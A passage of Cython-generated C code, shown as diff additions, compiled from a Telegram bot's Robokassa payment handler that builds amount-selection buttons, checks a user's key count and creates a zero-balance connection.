__Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/robokassa_pay.py":87 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + + /* "handlers/payments/robokassa_pay.py":88 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_12 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_12, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":89 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u_robokassa_amount, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_12, __pyx_n_s_callback_data, __pyx_t_1) < 0) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":87 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_empty_tuple, __pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, __pyx_t_1}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_L6:; + + /* "handlers/payments/robokassa_pay.py":73 + * + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":92 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/robokassa_pay.py":93 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_robokassa", + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/robokassa_pay.py":94 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_robokassa", + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 94, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_robokassa) < 0) __PYX_ERR(0, 94, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":93 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_robokassa", + */ + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_12}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":98 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * key_count = await get_key_count(tg_id) + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_6}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":100 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< + * + * if key_count == 0: + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":102 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + __pyx_t_10 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 102, __pyx_L1_error) + if (__pyx_t_10) { + + /* "handlers/payments/robokassa_pay.py":103 + * + * if key_count == 0: + * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 103, __pyx_L1_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":104 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + */ + __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_16 = (!__pyx_t_10); + if (__pyx_t_16) { + + /* "handlers/payments/robokassa_pay.py":105 + * exists = await check_connection_exists(tg_id) + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 105, __pyx_L1_error); + __pyx_t_6 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 105, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 105, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":106 + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_info); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyTuple_New(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_Created_new_connection_for_user); + __pyx_t_4 += 32; + __Pyx_GIVEREF(__pyx_kp_u_Created_new_connection_for_user); + PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u_Created_new_connection_for_user); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_with_balance_0_0); + __pyx_t_4 += 18; + __Pyx_GIVEREF(__pyx_kp_u_with_balance_0_0); + PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_kp_u_with_balance_0_0); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_6, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":104 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + */ + } + + /* "handlers/payments/robokassa_pay.py":102 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + } + + /* "handlers/payments/robokassa_pay.py":108 + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":109 + * + * await callback_query.message.answer( + * text=" :", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__5) < 0) __PYX_ERR(0, 109, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":110 + * await callback_query.message.answer( + * text=" :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_robokassa) + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_12 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 109, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":108 + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L13_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 108, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 108, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":112 + * reply_markup=builder.as_markup(), + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_robokassa) # <<<<<<<<<<<<<< + * logger.info(f"Displayed amount selection for user {tg_id}.") + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) 